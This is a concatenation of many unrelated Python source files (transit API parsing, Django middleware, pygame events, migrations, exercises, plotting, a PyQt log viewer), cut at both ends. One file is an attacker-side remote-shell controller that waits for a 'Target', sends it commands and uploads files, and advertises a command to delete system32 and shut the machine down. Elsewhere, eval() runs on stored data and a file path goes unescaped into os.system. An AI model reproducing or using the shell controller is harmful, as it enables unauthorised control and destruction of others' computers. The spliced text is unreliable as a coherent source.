resp.json() return self.parse_departures(json_resp) except HTTPError as http_err: print(f"HTTP error occurred: {http_err}") except Exception as err: print(f"Unknown error occurred: {err}") return {} def parse_departures(self, json_resp: Dict) -> DepartureInfos: assert json_resp["message"]["value"] == "OK" server_time = parse_local(json_resp["message"]["serverTime"]) now = get_local_now() assert abs(now - server_time).seconds < 5 data = {} for rbl in json_resp["data"]["monitors"]: for line in rbl["lines"]: name = f"""{line['name']} {line['towards']}""" departures = [ Departure.from_json(departure_dict) for departure_dict in line["departures"]["departure"] ] data[name] = departures return data
import datetime from django.conf import settings from django.contrib.sites.models import Site from conescy.apps.stats.models import Day from conescy.apps.stats.utils import * from conescy.apps.stats.processor import process_request class AddToStats(object): """Add current request to stats if it is 200! The response will not be manipulated! You can find the processor which takes the request data and saves it as a Conescy Stats dictionary in processor.process_request!""" def process_response(self, request, response): """Add the request data to the stats""" if not str(response.status_code) == '200': return response for path in settings.STATS_EXCLUDE: if path in request.path: return response day, created = Day.objects.get_or_create(date=datetime.date.today(), defaults={'stats': '{}', 'date': datetime.date.today()}) # load the stats data stats = eval(day.stats) process_request(request, stats, {'site': Site.objects.get_current().domain}) day.stats = str(stats) day.save() return response
# TODO - commade with argument is handle but the revershell can't resolve it # 1 - Import the right module import socket import pyfiglet import os # Upload File Test file_test = "test2.txt" # Pyfiglet stuff pyflig = pyfiglet.figlet_format("Revers Shell") # 2 - Server IP / Port server_conf = 'localhost', 5544 # 3 - Create socket TCP/IP sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 4 - Bind the socket to the port sock.bind(server_conf) # 5 - Listening for incoming connexion print(pyflig) print("=====================================================") print("| Version: 1.2 |") print("| Project by: Philippe-Alexandre Munch |") print("| Contributor: @Prat |") print("=====================================================") print(" ") print("[!] Waiting Target Connexion") sock.listen(1) # 6 - Accept Connection connection, client_address = sock.accept() # 7 receive data from client_address data = connection.recv(3096).decode("utf-8") print(" ") print('[*] Target: ', "\U0001F608 " "%s" % data, "\U0001F608") print(" ") print("========================================================================") print("| [*] Usage: basic Remote Shell [*] |") print("|- Args: enter [cd /] to go directly to c:/ |") print("|- Args: enter [cd] to get actual directory |") print("|- Args: enter [exit] for close the session |") print("|- Args: enter [upload] for Upload a file |") print(u"| \u2620 \u2620 \u2620: enter [Kill] for delete system32 and shutdown computer |") print("========================================================================") print(" ") while True: # # # Send Block # # # # Input attacker cmd = input("target@>") connection.sendall(cmd.encode("utf-8")) # If command rcv is empty if len(cmd) == 0: connection.sendall("echo [!] Error: Command Empty".encode("utf-8")) # Test Upload file if cmd == "upload": f = open(file_test, 'rb') l = f.read(1024) connection.sendall(l) # # # Receive BLock # # # # get rcv data # Recv data not working with can't be decode by 'utf-8', utf-8 not handle accent so (windows-1252 works) # But the accent is still not handle data = connection.recv(2048).decode("windows-1252") # print rcv data print(data) # Closing connenection if data == "Exiting...": print("[!] Connexion Closed") sock.close() exit()
from time import time # All custom events # MOUSE CUSTOM EVENTS LEFTMOUSEBUTTONHOLD = "LMB" LEFTMOUSEBUTTONPRESS = "LMBP" RIGHTMOUSEBUTTONHOLD = "RMB" RIGHTMOUSEBUTTONPRESS = "RMBP" ANYMOUSEBUTTONHOLD = "AMBH" ANYMOUSEBUTTONPRESS = "AMBP" # KEYBOARD EVENT from pygame.locals import * keys = [K_BACKSPACE, K_TAB, K_CLEAR, K_RETURN, K_PAUSE, K_ESCAPE, K_SPACE, K_EXCLAIM, K_QUOTEDBL, K_HASH, K_DOLLAR, K_AMPERSAND, K_QUOTE, K_LEFTPAREN, K_RIGHTPAREN, K_ASTERISK, K_PLUS, K_COMMA, K_MINUS, K_PERIOD, K_SLASH, K_0, K_1, K_2, K_3, K_4, K_5, K_6, K_7, K_8, K_9, K_COLON, K_SEMICOLON, K_LESS, K_EQUALS, K_GREATER, K_QUESTION, K_AT, K_LEFTBRACKET, K_BACKSLASH, K_RIGHTBRACKET, K_CARET, K_UNDERSCORE, K_BACKQUOTE, K_a, K_b, K_c, K_d, K_e, K_f, K_g, K_h, K_i, K_j, K_k, K_l, K_m, K_n, K_o, K_p, K_q, K_r, K_s, K_t, K_u, K_v, K_w, K_x, K_y, K_z, K_DELETE, K_KP0, K_KP1, K_KP2, K_KP3, K_KP4, K_KP5, K_KP6, K_KP7, K_KP8, K_KP9, K_KP_PERIOD, K_KP_DIVIDE, K_KP_MULTIPLY, K_KP_MINUS, K_KP_PLUS, K_KP_ENTER, K_KP_EQUALS, K_UP, K_DOWN, K_RIGHT, K_LEFT, K_INSERT, K_HOME, K_END, K_PAGEUP, K_PAGEDOWN, K_F1, K_F2, K_F3, K_F4, K_F5, K_F6, K_F7, K_F8, K_F9, K_F10, K_F11, K_F12, K_F13, K_F14, K_F15, K_NUMLOCK, K_CAPSLOCK, K_SCROLLOCK, K_RSHIFT, K_LSHIFT, K_RCTRL, K_LCTRL, K_RALT, K_LALT, K_RMETA, K_LMETA, K_LSUPER, K_RSUPER, K_MODE, K_HELP, K_PRINT, K_SYSREQ, K_BREAK, K_MENU, K_POWER, K_EURO] class Event(): def __init__(self, on, function = None): self.eventOn = self.on = on if function: self.run = function def run(self, data): print("Empty event") class CustomEvent(Event): def __init__(self): Event.__init__(self, "custom") def isTriggered(self, data): return False class eventManager(): def __init__(self, scene, events = []): self.scene = scene self.events = events self.pygame = scene.pygame # event variables self.LEFTMBHELDSINCE = 0 self.RIGHTMBHELDSINCE = 0 self.LEFTMBHELDFROM = None self.RIGHTMBHELDFROM = None def timeHeld(self, m): if m == 0 and self.LEFTMBHELDSINCE != -1: return time() - self.LEFTMBHELDSINCE elif m == 2 and self.RIGHTMBHELDSINCE != -1: return time() - self.RIGHTMBHELDSINCE return -1 def add(self, *args): for event in args: self.events.append(event) def manage(self): # This function will return an integer # Values are as shown # 0 = Everything has run fine # 1 = Quit button has been pressed events = self.pygame.event.get() mouse_pos = self.pygame.mouse.get_pos() mouse_state = self.pygame.mouse.get_pressed() keyboard_state = self.pygame.key.get_pressed() data = [events, mouse_pos, mouse_state, keyboard_state] MOUSEBUTTONDOWN = False for event in events: if event.type == self.pygame.QUIT: return 1 # Check against all events in the scene if event.type == self.pygame.MOUSEBUTTONDOWN: MOUSEBUTTONDOWN = True for sceneEvent in self.events: if sceneEvent.on == event.type: sceneEvent.run(data) for sceneEvent in self.events: if sceneEvent.on == "custom": if sceneEvent.isTriggered(data): sceneEvent.run(data) if MOUSEBUTTONDOWN: # Left mouse button pressed if sceneEvent.on == LEFTMOUSEBUTTONPRESS and mouse_state[0]: sceneEvent.run(data) # Right mouse button pressed if sceneEvent.on == RIGHTMOUSEBUTTONPRESS and mouse_state[2]: sceneEvent.run(data) # Any mouse button pressed if sceneEvent.on == ANYMOUSEBUTTONPRESS: sceneEvent.run(data) if mouse_state[0]: self.LEFTMBHELDSINCE = time() self.LEFTMBHELDFROM = mouse_pos if mouse_state[2]: self.RIGHTMBHELDSINCE = time() self.RIGHTMBHELDFROM = mouse_pos else: # Left mouse button held if sceneEvent.on == LEFTMOUSEBUTTONHOLD and mouse_state[0]: sceneEvent.run(data) # Right mouse button held if sceneEvent.on == RIGHTMOUSEBUTTONHOLD and mouse_state[2]: sceneEvent.run(data) # Any mouse button held if sceneEvent.on == ANYMOUSEBUTTONHOLD and 1 in mouse_state: sceneEvent.run(data) if sceneEvent.on in keys: if keyboard_state[sceneEvent.on]: sceneEvent.run(data) if not mouse_state[0]: self.LEFTMBHELDSINCE = -1 self.LEFTMBHELDFROM = None if not mouse_state[2]: self.RIGHTMBHELDSINCE = -1 self.RIGHTMBHELDFROM = None return data
#!/usr/bin/python # -*- coding: utf-8 -*- from api_dict import api_dict SuitDict = { 'LoginSuit':[api_dict['Login']['cls_name'],api_dict['Login']['cls_name'],api_dict['Login']['cls_name'],api_dict['PersonDriverLogin']['cls_name']], 'GetCreatOrderData':[api_dict['SearchCustomer']['cls_name'],api_dict['SearchShipper']['cls_name'],api_dict['SearchReceiver']['cls_name'],api_dict['SearchGoods']['cls_name']] }
def find_characters(my_list, char_check): new_list = [] for num in my_list: if (num.find(char_check) > 0): new_list.append(num) print new_list word_list = ['hello','world','my','name','is','Anna'] char = 'o' find_characters (word_list, char)
"""empty message Revision ID: 7b5e316395a5 Revises: 72dff322d778 Create Date: 2020-09-25 18:35:15.811595 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '7b5e316395a5' down_revision = '72dff322d778' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('cliente', sa.Column('id_cliente', sa.Integer(), autoincrement=True, nullable=False), sa.Column('nome_cliente', sa.String(length=100), nullable=False), sa.Column('email_cliente', sa.String(length=150), nullable=False), sa.Column('senha_cliente', sqlalchemy_utils.types.password.PasswordType(length=256), nullable=False), sa.Column('dt_nascimento_cliente', sa.Date(), nullable=False), sa.PrimaryKeyConstraint('id_cliente'), sa.UniqueConstraint('email_cliente') ) op.create_table('produto', sa.Column('id_produto', sa.Integer(), autoincrement=True, nullable=False), sa.Column('nome_produto', sa.String(length=150), nullable=False), sa.Column('preco', sa.Float(), nullable=False), sa.PrimaryKeyConstraint('id_produto') ) op.create_table('pedido', sa.Column('id_pedido', sa.Integer(), autoincrement=True, nullable=False), sa.Column('dt_compra', sa.Date(), nullable=False), sa.Column('cliente_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['cliente_id'], ['cliente.id_cliente'], ), sa.PrimaryKeyConstraint('id_pedido') ) op.create_table('produto_pedido', sa.Column('produto_id', sa.Integer(), nullable=True), sa.Column('pedido_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['pedido_id'], ['pedido.id_pedido'], ), sa.ForeignKeyConstraint(['produto_id'], ['produto.id_produto'], ) ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('produto_pedido') op.drop_table('pedido') op.drop_table('produto') op.drop_table('cliente') # ### end Alembic commands ###
# Solution # O(n) time / O(n) space def sunsetViews(buildings, direction): buildingsWithSunsetViews = [] startIdx = 0 if direction == "WEST" else len(buildings) - 1 step = 1 if direction == "WEST" else - 1 idx = startIdx runningMaxHeight = 0 while idx >= 0 and idx < len(buildings): buildingHeight = buildings[idx] if buildingHeight > runningMaxHeight: buildingsWithSunsetViews.append(idx) runningMaxHeight = max(runningMaxHeight, buildingHeight) idx += step if direction == "EAST": return buildingsWithSunsetViews[::-1] return buildingsWithSunsetViews # Solution # O(n) time / O(n) space def sunsetViews(buildings, direction): candidateBuildings = [] startIdx = 0 if direction == "EAST" else len(buildings) - 1 step = 1 if direction == "EAST" else -1 idx = startIdx while idx >= 0 and idx < len(buildings): buildingHeight = buildings[idx] while len(candidateBuildings) > 0 and buildings[candidateBuildings[-1]] <= buildingHeight: candidateBuildings.pop() candidateBuildings.append(idx) idx += step if direction == "WEST": return candidateBuildings[::-1] return candidateBuildings
#!/usr/bin/env python3 # Requires PyAudio and PySpeech. from practicum import find_mcu_boards from peri import McuWithPeriBoard from time import sleep import speech_recognition as sr r = sr.Recognizer() order = "hello" import pyautogui, sys , time center_x=int(pyautogui.size()[0]/2) center_y=int(pyautogui.size()[1]/2) pyautogui.moveTo(center_x,center_y) devs = find_mcu_boards() if len(devs) == 0: print("*** No practicum board found.") exit(1) b = McuWithPeriBoard(devs[0]) print("*** Practicum board found") print("*** Manufacturer: %s" % \ b.handle.getString(b.device.iManufacturer, 256)) print("*** Product: %s" % \ b.handle.getString(b.device.iProduct, 256)) def Listen(): with sr.Microphone() as source: print("######### Say something! #########") b.setLedValue(7) audio = r.listen(source,phrase_time_limit=3) b.setLedValue(0) return audio while(not order == "close" ): # Speech recognition using Google Speech Recognition try: # for testing purposes, we're just using the default API key # to use another API key, use `r.recognize_google(audio, key="GOOGLE_SPEECH_RECOGNITION_API_KEY")` # instead of `r.recognize_google(audio) order = r.recognize_google(Listen()).lower() print("You said: " + order) if(order=="right" or order=="red"): pyautogui.click(button='right') elif(order=="left"): pyautogui.click(button='left') elif(order=="double"): pyautogui.click(button='left',clicks=2) elif(order=="go up"): pyautogui.vscroll(30) elif(order=="center"): pyautogui.moveTo(center_x,center_y) elif(order=="go down"): pyautogui.vscroll(-30) elif(order=="hold"): pyautogui.mouseDown(button='left') #stop_draging="running" print("############ Say ""left"" to stop draging ! #############") except sr.UnknownValueError: print("Google Speech Recognition could not understand audio") except sr.RequestError as e: print("Could not request results from Google Speech Recognition service; {0}".format(e))
#!/usr/bin/env python from abc import ABCMeta from abc import abstractmethod """ generated source for module Shape """ # Abstract Class class Shape(object): """ generated source for class Shape """ __metaclass__ = ABCMeta @abstractmethod def area(self): """ generated source for method area """ pass @abstractmethod def perimeter(self): """ generated source for method perimeter """ pass
from sys import argv from os.path import exists script, from_file, to_file = argv # # print("Copying from %s to %s" % (from_file, to_file)) # # we could do these two on one line too, how? # # by invoking open on the from_file, we create a file object (io) # in_file = open(from_file) # # invoking read on the file object creates a string object # indata = in_file.read() # # indata1 = in_file.read(10) # # print(type(in_file)) # <class '_io.TextIOWrapper'> # # print(type(indata)) # <class 'str'> # # print(type(indata1)) # <class 'str'> # print("The input is %d bytes long" % len(indata)) # print(type(len(indata))) # <class 'int'> # # print(("Does the output file exist? %r" % exists(to_file))) # # print("Ready, hit RETURN to continue, CTRL-C to abort.") # # input() # out_file = open(to_file, 'w') # out_file.write(indata) # # print("Alright, all done.") # out_file.close() # in_file.close() # ### # in_file = open(from_file).read() # out_file = open(to_file).read() open(to_file).write(open(from_file).read())
from setuptools import setup, find_packages def readfile(name): with open(name) as f: return f.read() readme = readfile('README.rst') changes = readfile('CHANGES.rst') requires = [ 'pyramid' ] docs_require = [ 'Sphinx', 'pylons-sphinx-themes', ] tests_require = [ 'pytest', 'pytest-cov', 'mock', 'pytest_toolbox', 'WebTest' ] sample_requires = [ 'pyramid_jinja2', 'waitress', 'plaster_pastedeploy', 'pydantic', 'ruamel.yaml', 'mistletoe' ] setup( name='pyramid_watcher', version='0.1', description=( 'Watch for file changes, call handlers, and reload browser' ), long_description=readme + '\n\n' + changes, author='Paul Everitt', author_email='pauleveritt@me.com', url='https://github.com/pauleveritt/pyramid_watcher', license='MIT', packages=find_packages('src', exclude=['tests']), package_dir={'': 'src'}, include_package_data=True, python_requires='>=3.5', install_requires=requires, extras_require={ 'docs': docs_require, 'testing': tests_require, 'sample': sample_requires }, zip_safe=False, keywords='watch reload', classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy', ], entry_points={ 'paste.app_factory': [ 'echo = pyramid_watcher.samples.echo:main', 'tree = pyramid_watcher.samples.tree:main', ], }, )
#-*- coding: utf-8 -*- ''' logMonitor, Created on Apl, 2015 #version: 1.0 ''' import logging #import time import datetime class LogMonitor: def __init__(self): self.logger=logging.getLogger() self.handler=logging.FileHandler("./_log/LogHistory_"+str(datetime.date.today())+".txt") self.logger.addHandler(self.handler) self.logger.setLevel(logging.NOTSET) def debug(self,message): self.logger.debug("[debug "+ self.currentTime()+ "]: "+message) def info(self,message): self.logger.info("[info "+ self.currentTime()+ "]: "+message) def warning(self,message): self.logger.warning("[warning "+ self.currentTime()+ "]: "+message) def error(self,message): self.logger.error("[error "+ self.currentTime()+ "]: "+message) def critical(self,message): self.logger.critical("[critical "+ self.currentTime()+ "]: "+message) def currentTime(self): return str(datetime.datetime.now()) #time.strftime('%H:%M:%S') if __name__=='__main__': print '---start---' lmobj = LogMonitor() #lmobj.debug("debug") #lmobj.info("info") lmobj.warning("warning") # lmobj.error("error") # lmobj.critical("critical") print '---done---'
from django.contrib.auth.models import User from django.db import models class Urls(models.Model): owner = models.ForeignKey(User, on_delete=models.CASCADE, related_name='owners', null=True) url = models.URLField(max_length=200) sorturl = models.CharField(max_length=200) changeurl = models.URLField(max_length=200) counting = models.IntegerField(default=0)
#!usr/bin/env python ''' BuildManager.py by Mitchell Nordine A script used for managing the process of compiling and running C++ programs. So far it... - Checks for headers and rebuilds clang_complete commands if required. Usage: BuildManager.py [-h | --help] [-v | --version] BuildManager.py [--lang=<ext>] [-r | --run] <path> Options: -h --help Show this screen. -v --version Show version. -r --run Run the program following building. --lang=<ext> Language with extension. ''' import os, tmuxp from docopt import docopt from RustBM import RustBuildManager from CppBM import CppBuildManager from PermissionsChecker import PermissionsChecker from utils import * def getMakePath(lang, path): if lang == "cpp": return getCppMakePath(path) elif lang == "rust": return getRustMakePath(path) def runInNewTmuxWindow(path, runstring): serv = tmuxp.Server() sesh = serv.getById('$0') win = sesh.findWhere({"window_name" : "RUN_"+pathLeaf(path)}) winname = "RUN_"+pathLeaf(path) if not win: win = sesh.new_window(attach=True, window_name=winname) else: win = sesh.select_window(winname) pane = win.attached_pane() pane.send_keys('cd '+path, enter=True) print("Running the file found in "+path+" in window "+winname) pane.send_keys(runstring, enter=True) def runInNewTab(): os.system("""osascript -e 'tell application "Terminal" to activate' -e 'tell application "System Events" to tell process "Terminal" to keystroke "t" using command down' -e 'tell application "Terminal" to do script "make run" in selected tab of the front window'""") def run(path, runstring): try: print("Attempting to run in new Tmux window...") runInNewTmuxWindow(path, runstring) except Exception, e: print("Failed to run in new Tmux window:") print(str(e)) print("Now trying to open in new tab instead...") try: runInNewTab(runstring) except Exception, e: print("Failed to run in new Terminal tab:") print(str(e)) print("Now just going to run in Vim window instead...") os.system(runstring) def getBuildManager(ext): if ext == ".cpp" or ext == ".h" or ext == ".hpp": return CppBuildManager() elif ext == ".rs" or ext == "rust": return RustBuildManager() else: print("ext = "+ext) print("Entered language not found - cpp will be assumed.") # Should automatically find language. return CppBuildManager() def main(): args = docopt(__doc__, version='Build Manager -- SUPER RADICAL EDITION') buildmanager = getBuildManager(args.get('--lang')) path = cleanPath(args.get('<path>')) path = buildmanager.getBuildPath(path) origin = os.getcwd() PermissionsChecker(path) os.chdir(origin) buildmanager.build() if (args['--run']): run(path, buildmanager.getRunString()) else: print("No run command found, finishing up :-)") if __name__ == "__main__": main()
import tkinter import matplotlib from matplotlib.figure import Figure from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg import numpy root = tkinter.Tk() root.wm_title("Sample genrator") figure = Figure(figsize=(5, 5), dpi=150) plot = figure.add_subplot(1,1,1) plot.axis([0, 1.1, 0, 1.1]) canvas = FigureCanvasTkAgg(figure, root) canvas.get_tk_widget().pack() mods = tkinter.Entry(root) samples = tkinter.Entry(root) def _quit(): root.quit() def _update(): try: redXs = generateCords() redYs = generateCords() greenXs = generateCords() greenYs = generateCords() plot.cla() plot.axis([0, 1.1, 0, 1.1]) plot.plot(redXs, redYs, 's', color="red", marker="o") plot.plot(greenXs, greenYs, 's', color="green", marker="o") canvas.get_tk_widget().pack() canvas.draw() except: print("Something is wrong, update canceled") def generateCords(): rawPoints = mods.get() points = int(rawPoints) cords = [] for i in range(0, points): randCord = numpy.random.rand() cords.append(randCord) return generateSamples(cords) def generateSamples(cords): rawSamps = samples.get() samps = int(rawSamps) sampsCords = [] for i in cords: for j in range(0, samps): var = numpy.random.uniform(0.005, 0.035) randCord = numpy.random.normal(loc=i, scale=var) sampsCords.append(randCord) return sampsCords labelModsText = tkinter.StringVar() labelSamplesText = tkinter.StringVar() labelModsText.set("Number of mods:") labelSamplesText.set("Number of samples:") labelMods = tkinter.Label(root, textvariable=labelModsText) labelSamples = tkinter.Label(root, textvariable=labelSamplesText) labelMods.pack() mods.pack() labelSamples.pack() samples.pack() updateButton = tkinter.Button(master=root, text="Update", command=_update) exitButton = tkinter.Button(master=root, text="Exit", command=_quit) updateButton.pack() exitButton.pack() root.mainloop()
import population import genotype import mutators from random import randint import timeCounter def ga(time, popSize=100): pop = population.generatePop(popSize) # make population pop = population.sort(pop) # sort by fitness best = pop[0] # best of the pop always index 0 after sort noImprove = 0 timeCounter.start() while not timeCounter.finished(time): pop = population.subSample(pop) # get new pop newPop = [] while len(newPop) < popSize-len(pop): newGenome = mutators.onePointCrossover(pop[randint(0,len(pop) - 1)], pop[randint(0,len(pop) - 1)], randint(0, len(pop[0].getBitString()) - 1)) # randomly pick parents for new solution newGenome = mutators.mutate(newGenome, 0.05) # mutate newPop.append(newGenome) # add to population pop = newPop+pop pop = population.sort(pop) if pop[0].getFitness() < best.getFitness(): # check for new best solution best = pop[0] noImprove = 0 else: noImprove += 1 return best
from django.conf.urls import patterns, include, url from test1.views import index from test1.views import fuck from blog.views import intro from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Examples: #url(r'^$', 'test1.views.home', name='home'), #url(r'^blog/', include('blog.urls')), url(r'^admin/', include(admin.site.urls)), url(r'^fuck/',fuck), url('^index/$',index), url('^blog/$',intro), )
import numpy as np import matplotlib.pyplot as plt import sys pcl = sys.argv[5] var1 = sys.argv[1] var2 = sys.argv[2] var3 = sys.argv[3] var4 = sys.argv[4] txtend = str(pcl) + '_VAR1_' + str(var1) + '_VAR2_' + str(var2) + '_VAR3_' + str(var3) + '_VAR4_' + str(var4) A = np.loadtxt('TTapPCL_' + txtend + '.txt') apds = np.loadtxt('TTbifsPCL_' + txtend + '.txt') nais = np.loadtxt('TTnaiPCL_' + txtend + '.txt') cais = np.loadtxt('TTcaiPCL_' + txtend + '.txt') plt.figure(figsize=(20,10)) plt.subplot(2,3,1) plt.plot(A[1:25000,0],A[1:25000,1]) plt.xlabel('Time (ms)'); plt.ylabel('Voltage (mV)') plt.subplot(2,3,2); plt.plot(apds[5:],'.') plt.xlabel('Beat Num'); plt.ylabel('APD (ms)'); inds = np.arange(5,len(cais),2) plt.subplot(2,3,3); plt.plot(1000*cais[inds],'.') plt.xlabel('Beat Num'); plt.ylabel('[Ca]_i (uM)'); plt.subplot(2,3,4); plt.plot(nais[inds],'.') plt.xlabel('Beat Num'); plt.ylabel('[Na]_i (mM)'); plt.subplot(2,3,5); plt.plot(nais[inds],1000*cais[inds],'.') plt.xlabel('[Na]_i (mM)'); plt.ylabel('[Ca]_i (uM)'); plt.savefig('TTplot_' + txtend + '.png');
import argparse from PIL import Image import random import time import urllib, cStringIO from display import Display from matrix import Matrix if __name__ == "__main__": parser = argparse.ArgumentParser(description='Show image stream from url on led matrix, will refetch image for every frame') parser.add_argument('dev', type=str, help='serial device the arduino is connected to') parser.add_argument('url', type=str, help='url for image stream') args = parser.parse_args() matrix = Matrix(args.dev, 32, 32) display = Display(fonts=[]) # Add font paths here display.add_matrix(matrix) while True: begin = time.time() f = cStringIO.StringIO(urllib.urlopen(args.url).read()) img = Image.open(f) img.thumbnail((32, 32), Image.ANTIALIAS) size = img.size display.clear() display.bounding_image.paste(img, (0, (32-size[1])/2)) display.update() print "%.1ffps" % (1/(time.time() - begin))
import re,sys import xml.dom.minidom def printToFile(content,filename): firstname=filename.split(".")[0] newname=firstname+"_cl.coref" f = open(newname, 'w') f.write(content) f.close() def removeEmptyCat(filename): f = open(filename, 'r') raw=f.read() insBefore=addNewlineBefore(raw) insAfter=addNewlineAfter(insBefore) tokens = re.split(' |\n',insAfter) new="" for tok in tokens: star=re.search(r"(^|[^\\])\*",tok) if not star and tok!="0": new=new+" "+tok return new def addNewlineBefore(text): tokens=text.split("<") new="" for tok in tokens[1:]: new=new+"\n"+"<"+tok return new def addNewlineAfter(text): #same approach to add a \n after > tokens=text.split(">") new="" for tok in tokens: new=new+tok+">"+"\n" return new def mainPreprocess(filen): """preprocess OntoNotes gold files by cleaning up the empty categories and more""" #filen=sys.argv[1] noemp=removeEmptyCat(filen) noempi=noemp[:-2] a=xml.dom.minidom.parseString(noempi) #to use this module to output a formatted xml for viewing, do: #pretty_xml_as_string = a.toprettyxml() #print pretty_xml_as_string return a
# # Copyright 2015-2020 CNRS-UM LIRMM, CNRS-AIST JRL # import collections import copy import csv import ctypes import functools import json import numpy as np import os import re import signal import sys import tempfile from functools import partial from PyQt5 import QtCore, QtGui, QtWidgets from . import ui from .mc_log_data import Data from .mc_log_tab import MCLogTab from .mc_log_types import LineStyle, TextWithFontSize, GraphLabels, ColorsSchemeConfiguration, PlotType from .mc_log_utils import InitDialogWithOkCancel try: import mc_rbdyn except ImportError: mc_rbdyn = None UserPlot = collections.namedtuple('UserPlot', ['title', 'x', 'y1', 'y1d', 'y2', 'y2d', 'grid1', 'grid2', 'style', 'style2', 'graph_labels', 'extra', 'type']) def safe_float(v): if len(v): return float(v) else: return None def read_flat(f, tmp = False): def read_size(fd): return ctypes.c_size_t.from_buffer_copy(fd.read(ctypes.sizeof(ctypes.c_size_t))).value def read_bool(fd): return ctypes.c_bool.from_buffer_copy(fd.read(ctypes.sizeof(ctypes.c_bool))).value def read_string(fd, size): if size == 0: return b"".decode('ascii') return fd.read(size).decode('ascii') def read_array(fd, size): return np.frombuffer(fd.read(size * ctypes.sizeof(ctypes.c_double)), np.double) def read_string_array(fd, size): return [ read_string(fd, read_size(fd)) for i in range(size) ] data = {} with open(f, 'rb') as fd: nrEntries = read_size(fd) for i in range(nrEntries): is_numeric = read_bool(fd) key = read_string(fd, read_size(fd)) if is_numeric: data[key] = read_array(fd, read_size(fd)) else: data[key] = read_string_array(fd, read_size(fd)) if tmp: os.unlink(f) return data def read_csv(fpath, tmp = False): data = {} string_entries = {} with open(fpath) as fd: reader = csv.DictReader(fd, delimiter=';') for k in reader.fieldnames: if not(len(k)): continue data[k] = [] for row in reader: for k in reader.fieldnames: if not(len(k)): continue try: data[k].append(safe_float(row[k])) except ValueError: data[k].append(row[k].decode('ascii')) for k in data: if type(data[k][0]) is unicode: continue data[k] = np.array(data[k]) if tmp: os.unlink(fpath) return data def read_log(fpath, tmp = False): if fpath.endswith('.bin'): tmpf = tempfile.mkstemp(suffix = '.flat')[1] os.system("mc_bin_to_flat {} {}".format(fpath, tmpf)) return read_log(tmpf, True) elif fpath.endswith('.flat'): return read_flat(fpath, tmp) else: return read_csv(fpath, tmp) def load_UserPlots(fpath): if not os.path.exists(fpath): return [] userPlotList = [] with open(fpath) as f: userPlotList = [UserPlot(*x) for x in json.load(f)] for i,plt in enumerate(userPlotList): for y in plt.style: plt.style[y] = LineStyle(**plt.style[y]) for y in plt.style2: plt.style2[y] = LineStyle(**plt.style2[y]) if not isinstance(plt.graph_labels, GraphLabels): for key, value in plt.graph_labels.items(): plt.graph_labels[key] = TextWithFontSize(**plt.graph_labels[key]) userPlotList[i] = plt._replace(graph_labels = GraphLabels(**plt.graph_labels)) plt = userPlotList[i] userPlotList[i] = plt._replace(type = PlotType(plt.type)) return userPlotList class RobotAction(QtWidgets.QAction): def __init__(self, display, parent): super(RobotAction, self).__init__(display, parent) self._actual = display def actual(self, n = None): if n is None: return self._actual else: self._actual = n class CommonStyleDialog(QtWidgets.QDialog): @InitDialogWithOkCancel def __init__(self, parent, name, canvas, style): self.name = name self.canvas = canvas self.style = style self.linestyle = QtWidgets.QComboBox() styles = ['-', ':', '--', '-.'] for s in styles: self.linestyle.addItem(s) self.linestyle.setCurrentIndex(styles.index(style.linestyle)) self.layout.addRow("Style", self.linestyle) self.linewidth = QtWidgets.QLineEdit(str(style.linewidth)) self.linewidth.setValidator(QtGui.QDoubleValidator(0.01, 1e6, 2)) self.layout.addRow("Width", self.linewidth) self.color = QtGui.QColor(style.color) self.colorButton = QtWidgets.QPushButton("") self.colorButton.setStyleSheet("background-color: {}; color: {}".format(self.style.color, self.style.color)) self.colorButton.released.connect(self.selectColor) self.layout.addRow("Color", self.colorButton) def selectColor(self): color = QtWidgets.QColorDialog.getColor(self.color, parent = self) if color.isValid(): self.color = color self.colorButton.setStyleSheet("background-color: {}; color: {}".format(self.color.name(), self.color.name())) def apply(self): self.style.linestyle = self.linestyle.currentText() self.style.linewidth = float(self.linewidth.text()) self.style.color = self.color.name() def accept(self): super(CommonStyleDialog, self).accept() self.apply() class GridStyleDialog(CommonStyleDialog): def __init__(self, parent, name, canvas, style): super(GridStyleDialog, self).__init__(parent, name, canvas, style) self.setWindowTitle('Edit {} grid style'.format(name)) self.enabled = QtWidgets.QCheckBox() self.enabled.setChecked(style.visible) self.layout.insertRow(0, "Visible", self.enabled) self.save = QtWidgets.QCheckBox() self.layout.insertRow(self.layout.rowCount() - 2, "Save as default", self.save) def apply(self): super(GridStyleDialog, self).apply() self.style.visible = self.enabled.isChecked() self.canvas.draw() if self.save.isChecked(): self.parent().gridStyles[self.name] = self.style with open(self.parent().gridStyleFile, 'w') as f: json.dump(self.parent().gridStyles, f, default = lambda o: o.__dict__) class LineStyleDialog(CommonStyleDialog): def __init__(self, parent, name, canvas, style, set_style_fn): super(LineStyleDialog, self).__init__(parent, name, canvas, style) self.set_style = set_style_fn self.setWindowTitle('Edit {} style'.format(style.label)) self.labelInput = QtWidgets.QLineEdit(style.label) self.layout.insertRow(0, "Label", self.labelInput) def apply(self): super(LineStyleDialog, self).apply() self.style.label = self.labelInput.text() self.set_style(self.name, self.style) self.setWindowTitle('Edit {} style'.format(self.style.label)) self.canvas.draw() class ColorButtonRightClick(QtWidgets.QPushButton): rightClick = QtCore.pyqtSignal() def __init__(self, parent, color): super(ColorButtonRightClick, self).__init__("", parent) self.color = QtGui.QColor(color) self.setStyleSheet("background-color: {color}; color: {color}".format(color = color)) self.released.connect(self.selectColor) def selectColor(self): color = QtWidgets.QColorDialog.getColor(self.color, parent = self) if color.isValid(): self.color = color self.setStyleSheet("background-color: {color}; color: {color}".format(color = color.name())) self.parent().setCustom() def mouseReleaseEvent(self, event): if event.button() == QtCore.Qt.RightButton: self.parent().removeColorFromSelector(self) super(ColorButtonRightClick, self).mouseReleaseEvent(event) class 